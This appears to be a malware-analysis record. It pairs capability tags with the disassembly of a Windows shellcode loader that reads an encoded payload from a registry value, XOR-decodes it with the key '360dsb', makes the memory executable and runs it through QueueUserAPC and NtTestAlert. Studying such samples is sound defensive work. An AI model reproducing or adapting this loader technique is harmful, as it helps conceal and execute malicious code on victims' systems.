Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Query or enumerate registry value

Disassembly:
push rsi
push rdi
sub rsp, 0xc8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xb0], rax
lea rax, [rsp + 0x48]
lea rcx, [0x140014548]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xa
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x70], 0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [0x140014558]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0x68], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [rsp + 0x68]
mov ecx, eax
call fcn.1400019d4
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [rsp + 0x68]
mov ecx, eax
call fcn.1400019d4
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 0
jmp 0x14000112e
mov rax, qword [rsp + 0x88]
inc rax
mov qword [rsp + 0x88], rax
mov eax, dword [rsp + 0x68]
cmp qword [rsp + 0x88], rax
jae 0x14000116c
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x78]
add rdx, rcx
mov rcx, rdx
movzx ecx, byte [rcx]
mov byte [rax], cl
jmp 0x14000111b
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x70], eax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, str.360dsb
mov qword [rsp + 0x38], rax
xor eax, eax
mov rcx, 0xffffffffffffffff
mov rdi, qword [rsp + 0x38]
repne scasb al, byte [rdi]
not rcx
dec rcx
mov rax, rcx
mov dword [rsp + 0x6c], eax
mov dword [rsp + 0x90], 0
mov dword [rsp + 0x94], 0
jmp 0x1400011db
mov eax, dword [rsp + 0x90]
inc eax
mov dword [rsp + 0x90], eax
mov eax, dword [rsp + 0x70]
cmp dword [rsp + 0x90], eax
jae 0x140001279
movsxd rax, dword [rsp + 0x90]
mov qword [rsp + 0xa8], rax
movsxd rcx, dword [rsp + 0x94]
mov rdx, qword [rsp + 0x38]
movsx ecx, byte [rdx + rcx]
mov eax, ecx
cdq
mov ecx, 0x6d9
idiv ecx
mov eax, edx
add eax, 0x4f
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0xa8]
movzx ecx, byte [rcx + rdx]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x90]
mov rdx, qword [rsp + 0x80]
mov byte [rdx + rcx], al
mov eax, dword [rsp + 0x94]
inc eax
mov dword [rsp + 0x94], eax
mov eax, dword [rsp + 0x90]
cdq
idiv dword [rsp + 0x6c]
mov eax, edx
test eax, eax
jne 0x140001274
mov dword [rsp + 0x94], 0
jmp 0x1400011cb
mov eax, dword [rsp + 0x70]
lea r9, [rsp + 0x30]
mov r8d, 0x40
mov edx, eax
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtTestAlert
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
call qword [rsp + 0x60]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140001a70
add rsp, 0xc8
pop rdi
pop rsi
ret